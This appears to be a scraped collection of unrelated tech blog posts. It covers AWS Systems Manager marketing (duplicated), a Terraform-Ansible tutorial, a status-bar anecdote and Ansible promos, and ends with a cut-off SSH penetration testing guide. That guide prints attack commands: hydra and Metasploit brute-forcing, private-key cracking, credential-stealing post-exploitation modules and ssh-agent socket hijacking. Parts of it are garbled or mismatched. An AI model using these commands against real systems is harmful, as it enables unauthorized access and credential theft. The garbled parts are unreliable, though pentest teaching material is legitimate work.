A node is referred to be a “unmanaged node” if an SSM Agent ceases operating on it for any reason, at which point Systems Manager no longer has access to it. The latest version of Systems Manager also makes it easier to find and troubleshoot unmanaged nodes. To resolve any problems and restore connectivity so they can once more be managed nodes, you may run and even schedule an automated diagnosis that gives you suggested runbooks to follow.

Amazon Q Developer, the most powerful generative AI-powered software development helper, has also been integrated with Systems Manager. Using natural language, you may ask Amazon Q Developer questions about the nodes you’ve handled. You’ll receive quick answers and links to the Systems Manager where you can take action or carry out more research.

With the new interface with Systems Manager in this edition, you can also leverage AWS Organizations to enable a delegated administrator to centrally manage nodes throughout the business.

AWS Systems Manager pricing

You can monitor and fix operational problems with all of your AWS applications and resources, including Amazon Elastic Compute Cloud (EC2), Amazon Relational Database Service (RDS), Amazon Elastic Container Service (ECS), and Amazon Elastic Kubernetes Service (EKS) instances, as well as in multicloud and hybrid environments, using the unified user interface that AWS Systems Manager offers. With AWS Systems Manager, you may begin using the benefits of the AWS Free Tier without paying a dime. No upfront obligations or minimum costs apply. There may be restrictions.

AWS Free Tier

The following functionalities of AWS Systems Manager are available to you for free as part of the AWS Free Tier. There may be restrictions.

Explorer

Enabling Explorer does not incur any further fees. There may be restrictions.

The dashboard of Explorer is populated by paid OpsCenter APIs (GetOpsSummary). These API queries will incur fees. The Export to CSV option uses an aws:executeScript action step to run an Automation document. The cost of these actions may be determined by Automation pricing.

For more details please visit the AWS systems manager pricing page.

In conclusion

Gaining visibility and control over your computing infrastructure and carrying out operational tasks at scale need the use of Systems Manager. Through a centralized dashboard, the new experience provides a centralized view of all your nodes across AWS accounts, on-premises, and multicloud environments. It also integrates Amazon Q Developer for natural language queries and allows one-click SSM Agent troubleshooting. By going to the Systems Manager panel and following the simple steps, you may activate the new experience without paying more.

What is AWS Systems Manager?

AWS Systems Manager is a solution that facilitates the management, viewing, and control of your infrastructure in multicloud, on-premises, and AWS settings.

AWS Systems Manager’s advantages

Boost visibility throughout your whole node infrastructure

A consolidated view of all the nodes across the accounts and regions of your company is offered by AWS Systems Manager. Get node information quickly, including its name, ID, installed agents, operating system information, and tags. You may find problems and act more quickly by using Amazon Q Developer to query node metadata in natural language.

Use automation to increase operational efficiency

Reduce the time and effort needed to maintain your systems by automating routine operational chores. Systems Manager eliminates the need for remote PowerShell, SSH, or bastion hosts by enabling you to safely and securely manage your nodes at scale without logging into your servers. It offers a straightforward method for automating routine operational tasks, like software and patch installations, registry modifications, and user administration, across groups of nodes.

Make node management easier at scale in any setting

Any AWS, on-premises, or multicloud environment can run the Systems Manager Agent (SSM Agent), enabling Systems Manager to offer out-of-the-box visibility and simplifying managed node maintenance. Set up diagnostics to run automatically in order to find problems with the SSM Agent. Issues with pre-defined runbooks can then be fixed. Once under control, nodes can efficiently carry out vital operational functions including remotely executing commands, starting logged sessions, and patching nodes with security updates.

Tools

You can use the entire suite of AWS Systems Manager tools to securely connect to nodes without managing bastion hosts or SSH keys, patch nodes with security updates, automate operational commands at scale, and obtain thorough fleet visibility once your nodes are managed by Systems Manager.

Use cases

Control every node you have

Gain thorough insight into your hybrid and multicloud systems, as well as your node infrastructure across Amazon Web Services accounts and regions. Rapidly detect and resolve agent problems to restore unmanaged nodes and efficiently carry out crucial operational duties, such applying security updates to nodes, starting and recording sessions, or executing operational commands.

Automate your processes

Make your computational resources available, configure them, and deploy them automatically. To address common problems like misconfigured agents, keep infrastructure up to date with SSM Agent diagnosis and remediation. Execute essential operational activities, like automatically applying fixes for applications and operating systems on a regular basis.

Increase the effectiveness of operations

Prioritize increasing operational effectiveness, cutting expenses, and growing your company. Across your hybrid and multicloud setups, AWS Systems Manager is your enterprise-grade solution for managing nodes at scale with cross-account and cross-region visibility.

Presenting a fresh AWS Systems Manager experience

AWS is presenting an enhanced version of AWS Systems Manager today, which offers the much-desired cross-account and cross-region experience for large-scale node management.

All of your managed nodes, including different kinds of infrastructure like Amazon Elastic Compute Cloud (EC2) instances, containers, virtual machines on other cloud providers, on-premise servers, and edge Internet of Things (IoT) devices, can be seen centrally with the new System Manager experience. When they are linked to Systems Manager and have the Systems Manager Agent (SSM Agent) installed, they are called “managed nodes.”

A node is referred to be a “unmanaged node” if an SSM Agent ceases operating on it for any reason, at which point Systems Manager no longer has access to it. The latest version of Systems Manager also makes it easier to find and troubleshoot unmanaged nodes. To resolve any problems and restore connectivity so they can once more be managed nodes, you may run and even schedule an automated diagnosis that gives you suggested runbooks to follow.

Amazon Q Developer, the most powerful generative AI-powered software development helper, has also been integrated with Systems Manager. Using natural language, you may ask Amazon Q Developer questions about the nodes you’ve handled. You’ll receive quick answers and links to the Systems Manager where you can take action or carry out more research.

With the new interface with Systems Manager in this edition, you can also leverage AWS Organizations to enable a delegated administrator to centrally manage nodes throughout the business.

AWS Systems Manager pricing

You can monitor and fix operational problems with all of your AWS applications and resources, including Amazon Elastic Compute Cloud (EC2), Amazon Relational Database Service (RDS), Amazon Elastic Container Service (ECS), and Amazon Elastic Kubernetes Service (EKS) instances, as well as in multicloud and hybrid environments, using the unified user interface that AWS Systems Manager offers. With AWS Systems Manager, you may begin using the benefits of the AWS Free Tier without paying a dime. No upfront obligations or minimum costs apply. There may be restrictions.

AWS Free Tier

The following functionalities of AWS Systems Manager are available to you for free as part of the AWS Free Tier. There may be restrictions.

Explorer

Enabling Explorer does not incur any further fees. There may be restrictions.

The dashboard of Explorer is populated by paid OpsCenter APIs (GetOpsSummary). These API queries will incur fees. The Export to CSV option uses an aws:executeScript action step to run an Automation document. The cost of these actions may be determined by Automation pricing.

For more details please visit the AWS systems manager pricing page.

In conclusion

Gaining visibility and control over your computing infrastructure and carrying out operational tasks at scale need the use of Systems Manager. Through a centralized dashboard, the new experience provides a centralized view of all your nodes across AWS accounts, on-premises, and multicloud environments. It also integrates Amazon Q Developer for natural language queries and allows one-click SSM Agent troubleshooting. By going to the Systems Manager panel and following the simple steps, you may activate the new experience without paying more.

Read more on govindhtech.com

[blackmoreops]

Troubleshooting rsync SSH Authentication Issues

I’m sure you’ve bumped into situations where rsync just refuses to work over SSH even though your normal SSH connections work perfectly fine. This maybe happened right when you were in the middle of a critical backup or trying to sync important files between servers. If you’ve tried searching around the interwebs for solutions, you’d surely know there’s not many comprehensive guides available and…

[korshubudemycoursesblog]

Terraform with Ansible: A Powerful Duo for Infrastructure Management

Managing infrastructure has evolved into a seamless, automated process with tools like Terraform and Ansible. These two technologies are often paired together, allowing developers, DevOps teams, and system administrators to tackle complex cloud infrastructure challenges efficiently. But why use Terraform with Ansible, and how do they complement each other?

Let's dive into what makes these tools so powerful when combined, covering the best practices, Terraform setup steps, Ansible configurations, and real-world use cases.

What is Terraform?

Terraform is a popular infrastructure-as-code (IaC) tool developed by HashiCorp. It allows users to define infrastructure in a declarative manner, which means specifying the desired state rather than writing scripts to achieve it. By creating Terraform configurations, teams can automate the provisioning and management of cloud resources across multiple providers like AWS, Azure, and Google Cloud.

Terraform is especially valuable because:

It provides a single configuration language that can be used across different cloud providers.

It manages resources using a state file to keep track of current infrastructure and applies only necessary changes.

It’s ideal for infrastructure that requires scaling and flexibility.

What is Ansible?

Ansible is an open-source automation tool that excels in configuration management, application deployment, and task automation. Developed by Red Hat, Ansible works by using playbooks written in YAML to define a series of tasks that need to be performed on servers or other resources.

With Ansible, you can:

Automate repetitive tasks (like software installation or server configurations).

Control complex deployments with a simple, human-readable language.

Avoid the need for agents or additional software on servers, as it operates over SSH.

Why Combine Terraform with Ansible?

While Terraform and Ansible are powerful tools individually, using Terraform with Ansible creates a more holistic solution for infrastructure and configuration management.

Here’s how they work together:

Terraform provisions the infrastructure, creating cloud resources like virtual machines, networks, or databases.

Ansible then configures those resources by installing necessary software, setting configurations, and managing deployments.

By using Terraform with Ansible, DevOps teams can automate end-to-end workflows, from setting up servers to configuring applications. This combination is also beneficial for ensuring consistency and repeatability in deployments.

Setting Up Terraform with Ansible: Step-by-Step Guide

Here’s a simplified approach to setting up Terraform with Ansible for an automated infrastructure.

1. Define Your Infrastructure with Terraform

Start by creating a Terraform configuration file where you define the resources needed. For example, let’s say you’re deploying a web application on AWS. You could use Terraform to create:

An EC2 instance for the application server.

A VPC (Virtual Private Cloud) to isolate resources.

Security groups for controlling access.

Here’s an example of a Terraform configuration for creating an EC2 instance on AWS:

hcl

Copy code

provider "aws" {

  region = "us-west-2"

}

resource "aws_instance" "app_server" {

  ami           = "ami-0c55b159cbfafe1f0"

  instance_type = "t2.micro"

  tags = {

    Name = "Terraform-Ansible-Server"

  }

}

After defining the configuration, initialize and apply it with:

bash

Copy code

terraform init

terraform apply

2. Generate an Inventory File for Ansible

Terraform can output details about the resources it creates, such as the public IP addresses of EC2 instances. This information is essential for Ansible to know where to connect and perform tasks. You can use Terraform's output variables to create a dynamic inventory file for Ansible.

Add an output block in your Terraform configuration:

hcl

Copy code

output "instance_ip" {

  value = aws_instance.app_server.public_ip

}

To use this information in Ansible, run terraform output and direct it to a file that Ansible can read.

3. Write Ansible Playbooks

Now, create a playbook that will handle the configurations on the EC2 instance. For instance, you might want to:

Install web servers like Apache or NGINX.

Set up firewall rules.

Deploy application code.

Here’s a sample Ansible playbook that installs NGINX on the server:

yaml

Copy code

---

- name: Configure Web Server

  hosts: all

  become: yes

  tasks:

    - name: Update apt packages

      apt:

        update_cache: yes

    - name: Install NGINX

      apt:

        name: nginx

        state: present

    - name: Start NGINX

      service:

        name: nginx

        state: started

4. Run Ansible to Configure the Server

With your inventory file and playbook ready, run the following command to configure the server:

bash

Copy code

ansible-playbook -i inventory_file playbook.yml

This command instructs Ansible to read the inventory file and execute the playbook tasks on each server listed.

Best Practices When Using Terraform with Ansible

Combining Terraform with Ansible requires a few best practices to ensure smooth, scalable, and reliable automation.

Separate Infrastructure and Configuration Logic

Use Terraform strictly for creating and managing infrastructure, while Ansible should handle software configurations and tasks. This clear separation of concerns minimizes errors and makes debugging easier.

Maintain Version Control

Store both Terraform configuration files and Ansible playbooks in a version-controlled repository. This allows teams to roll back to previous configurations if issues arise and track changes over time.

Use Terraform Modules and Ansible Roles

Modules and roles are reusable pieces of code that can make your configurations more modular. Terraform modules allow you to encapsulate resources and reuse them across multiple environments, while Ansible roles organize playbooks into reusable components.

Manage State Carefully

With Terraform’s state file, ensure it’s securely stored, ideally in a remote backend like AWS S3 or Google Cloud Storage. This practice prevents conflicts in multi-user environments and keeps the state consistent.

Plan and Test Changes

Terraform and Ansible changes can sometimes have far-reaching effects. Always use terraform plan before applying changes to preview what will be modified, and test Ansible playbooks in a development environment.

Real-World Applications of Terraform with Ansible

The Terraform-Ansible combo is used by organizations worldwide to manage cloud infrastructure efficiently.

Multi-Cloud Deployments: Terraform’s support for various cloud providers enables teams to deploy across AWS, Azure, and GCP, while Ansible ensures that configurations remain consistent.

Continuous Integration and Deployment (CI/CD): Terraform and Ansible are often integrated into CI/CD pipelines to automate everything from resource provisioning to application deployment. Tools like Jenkins, GitLab CI, or CircleCI can trigger Terraform and Ansible scripts for seamless updates.

Scaling Applications: By using Terraform with Ansible, teams can scale infrastructure dynamically. Terraform provisions additional instances when needed, and Ansible applies the latest configurations.

Dev and Test Environments: Development and testing teams use Terraform and Ansible to create isolated environments that mirror production. This process allows teams to test configurations and deployments safely.

Top Benefits of Terraform with Ansible

Consistency Across Environments: Terraform ensures infrastructure is defined consistently, while Ansible guarantees configurations remain uniform across instances.

Reduced Manual Effort: Automate repetitive tasks, leading to time savings and fewer errors.

Scalability: Easily adapt and expand your infrastructure based on demand.

Flexibility with Multi-Cloud: Terraform’s multi-cloud support means you’re not locked into one provider.

Improved Reliability: Automation reduces human error, making deployments and configurations more reliable.

Final Thoughts

Using Terraform with Ansible creates a synergy that takes your automation and cloud infrastructure management to new heights. Whether you’re setting up environments for development, managing complex multi-cloud setups, or automating application deployments, this combination streamlines operations and reduces the risk of errors.

By integrating these two tools, you’re setting the stage for scalable, reliable, and efficient infrastructure that’s well-suited for today’s dynamic cloud environments. For any team looking to improve their infrastructure management practices, Terraform with Ansible is a match made in automation heaven.

[lizclipse]

so. a long time ago on a planet far far away (earlier this year in the room im sitting in now) i switched to using wezterm, and in that i configured a neat little status bar that outputted the cpu, ram, and timestamp of the current system. was cool, but only worked for the system it was running on, and i ssh into another machine for work

at some point i started using tmux full-time (multiplexing is broken in wezterm), but i still wanted this status bar, so i bit the bullet and rewrote the entire thing as a nushell script and integrated it into tmux. this worked brill, since it now worked for the current system i was logged into

unfortunately, it wasnt perfect since i am using sys cpu in nushell to get the cpu load, which measures over 400ms, meaning every call to the status line took at least that long. this was fine i guess, it sometimes caused some timing issues but worked well enough

well enough until just the last few days, when i switched to zellij. now it does status bars completely differently, but the upshot is that there's a separate instance for each tab. this is fine normally, but now it means that every tab i have (which can be quite a few) is running this long-winded cpu monitoring process every second and all out of order

so i've just said fuck it. my macs now have a launchd agent, my linuxs now have a systemd service. these things now run a single cpu monitoring call on loop in the background and dump it to a json file, from which the status line now reads from if it can and uses instead. that status line call has gone from 450ms to 50ms. the underlying call to collect all the system info has gone from 400ms to <1ms. all my tabs have the same values at the same time. all is good

[qcs01]

Revolutionizing IT with Ansible Automation

In today's fast-paced IT environment, automation has become essential for efficiency, consistency, and scalability. Ansible, an open-source automation platform, stands out as a powerful tool that simplifies the complexity of managing IT infrastructure and applications. This blog post will explore the key aspects of Ansible automation, its benefits, and how it can transform your IT operations.

What is Ansible?

Ansible is an open-source automation platform used for configuration management, application deployment, and task automation. It allows IT administrators to automate routine tasks and manage complex deployments without the need for complex coding. Ansible uses a simple, human-readable language called YAML (Yet Another Markup Language) to describe automation jobs in the form of playbooks.

Key Features of Ansible

Agentless Architecture: Ansible operates without the need for agents on the managed nodes. It uses SSH for Linux/Unix systems and WinRM for Windows systems, making it easy to set up and maintain.

Declarative Language: Ansible playbooks use a declarative language, making it easy to understand and write automation scripts. This reduces the learning curve and makes the automation process more accessible to a wider audience.

Idempotency: Ansible ensures that repeated executions of a playbook will have the same effect as a single execution, preventing unintended changes and ensuring consistent results.

Extensibility: Ansible's modular architecture allows for easy customization and extension. Users can create custom modules, plugins, and inventories to fit their specific needs.

Benefits of Ansible Automation

Simplifies Complex Tasks: Ansible automates repetitive and complex tasks, freeing up valuable time for IT professionals to focus on more strategic initiatives.

Reduces Errors: Automation minimizes human errors, ensuring that tasks are performed consistently and accurately every time.

Scalability: Ansible scales effortlessly, allowing you to manage thousands of servers and applications with the same simplicity as managing a single server.

Cost-Effective: Being open-source, Ansible provides a cost-effective solution for IT automation, reducing the need for expensive proprietary software.

Advanced Ansible Concepts

Roles: Organize your playbooks into reusable roles. Roles provide a way to structure your playbooks and make them reusable and shareable.

Ansible Tower: A commercial offering from Red Hat, Ansible Tower provides a web-based interface, role-based access control, and powerful scheduling and logging features.

Custom Modules and Plugins: Extend Ansible’s functionality by writing custom modules and plugins to address unique automation requirements.

Real-World Use Cases

Continuous Deployment: Automate the deployment of applications across multiple environments, ensuring consistent and error-free deployments.

Infrastructure as Code: Manage your infrastructure using code, enabling version control, peer reviews, and automated testing.

Configuration Management: Maintain the desired state of your systems by managing configurations and ensuring compliance with corporate policies.

Conclusion

Ansible automation is a game-changer for IT operations, offering a powerful, flexible, and cost-effective solution for managing complex infrastructures. By leveraging Ansible, organizations can achieve greater efficiency, consistency, and scalability, ultimately driving innovation and growth. Whether you are new to automation or looking to enhance your existing processes, Ansible is an invaluable tool that can help you achieve your IT goals.

Ready to start your automation journey with Ansible? Dive into the official Ansible documentation and explore the endless possibilities of IT automation.

For more details click www.qcsdclabs.com 

[hawkstack]

Enterprise Linux Automation with Ansible: Streamlining Operations and Boosting Efficiency

In today’s fast-paced IT landscape, businesses are constantly looking for ways to improve efficiency, reduce manual efforts, and ensure consistent performance across their systems. This is where automation tools like Ansible come into play, especially for enterprises running Linux-based systems. Ansible, an open-source automation platform, allows system administrators to automate configuration management, application deployment, and task orchestration in a simple and scalable way. Let’s explore how Ansible can revolutionize enterprise Linux automation.

What is Ansible?

Ansible is an automation tool that is designed to automate tasks across multiple machines or environments. It is agentless, meaning that it does not require any additional software or agents to be installed on the managed nodes. Instead, it uses SSH (for Linux-based systems) or WinRM (for Windows-based systems) to communicate with the remote servers.

One of the reasons Ansible has gained significant popularity is its simplicity and ease of use. With Ansible, system administrators can describe the configuration of systems using easy-to-understand YAML syntax, called Playbooks. These playbooks define the tasks that need to be performed, such as package installation, service management, user creation, and more.

Key Benefits of Ansible for Enterprise Linux Automation

Improved Operational Efficiency By automating repetitive tasks, Ansible helps reduce the time and effort required for system configuration, updates, and maintenance. Tasks that once took hours can now be completed in a matter of minutes, freeing up your IT team to focus on more strategic initiatives.

Consistency Across Environments Whether you're working in a single data center or managing multiple cloud environments, Ansible ensures that your configurations remain consistent. With playbooks, you can define the desired state of your infrastructure and ensure that all systems are aligned with that state, reducing the risk of configuration drift and human error.

Scalability Ansible is built to scale with your business. As your infrastructure grows, you can easily add more nodes (servers, virtual machines, containers) to your Ansible inventory and run automation tasks across all of them simultaneously. This scalability is crucial for large enterprises that manage thousands of systems.

Integration with DevOps Pipelines Ansible integrates seamlessly with DevOps tools like Jenkins, GitLab, and Docker. This integration enables you to automate the entire software development lifecycle, from provisioning and configuration to continuous integration and deployment. With Ansible, you can implement infrastructure as code (IaC) and build a more agile and responsive IT environment.

Security and Compliance Security and compliance are top priorities for enterprise organizations. Ansible helps automate security patch management and ensures that all systems are compliant with industry regulations. By defining security configurations as code, Ansible allows organizations to enforce best practices and continuously monitor systems for compliance.

Use Cases for Ansible in Enterprise Linux Environments

Configuration Management Ansible can automate the configuration of Linux servers, ensuring that each server is configured consistently across the entire organization. Whether you're setting up web servers, databases, or network devices, Ansible playbooks provide a reliable and repeatable process for configuration management.

Software Deployment Installing and updating software across a large number of Linux systems can be a time-consuming and error-prone task. With Ansible, you can automate software deployments, ensuring that the correct versions are installed, configured, and updated across all systems in your environment.

Patch Management Keeping systems up-to-date with the latest security patches is critical for protecting your infrastructure. Ansible makes patch management simple by automating the process of applying patches to Linux systems, reducing the risk of vulnerabilities and ensuring your systems remain secure.

Provisioning Infrastructure Whether you're deploying virtual machines, containers, or cloud instances, Ansible can help you automate the provisioning process. By defining infrastructure as code, you can quickly and consistently spin up new instances or services, reducing the manual effort required for infrastructure management.

Backup and Recovery Automation Ansible can also be used to automate backup and recovery tasks, ensuring that your critical data is consistently backed up and easily recoverable in case of an emergency. Playbooks can be created to run regular backups and even test recovery procedures to ensure that they work as expected.

Best Practices for Using Ansible in Enterprise Linux Automation

Use Version Control for Playbooks To ensure consistency and traceability, store your Ansible playbooks in version control systems such as Git. This allows you to track changes, roll back to previous versions, and collaborate more effectively with your team.

Modularize Playbooks Break down your playbooks into smaller, reusable roles and tasks. This modular approach helps you maintain clean, organized, and reusable code that can be easily shared across different projects and environments.

Use Inventory Files for Dynamic Environments Ansible’s dynamic inventory allows you to automatically pull a list of hosts from cloud providers like AWS, Azure, and Google Cloud. This flexibility ensures that your playbooks are always targeting the right systems, even in dynamic environments.

Implement Error Handling and Logging Incorporate error handling and logging into your playbooks to ensure that issues are caught and logged for troubleshooting. Ansible provides several built-in features for handling errors and capturing logs, helping you quickly identify and resolve problems.

Test Playbooks Before Production Always test your playbooks in a non-production environment before running them on critical systems. Use tools like Ansible’s --check mode to perform a dry run and validate the changes that will be made.

Conclusion

Ansible is a powerful tool for automating and streamlining enterprise Linux environments. Its simplicity, scalability, and ease of integration with other tools make it an ideal choice for organizations looking to improve operational efficiency, reduce errors, and ensure consistency across their systems. By leveraging Ansible for Linux automation, enterprises can stay ahead of the competition and focus on delivering value to their customers.

Ready to start automating your Linux infrastructure? Give Ansible a try and experience the power of automation firsthand!

For more details click www.hawkstack.com 

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SSH Penetration Testing: A Comprehensive Guide

Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration 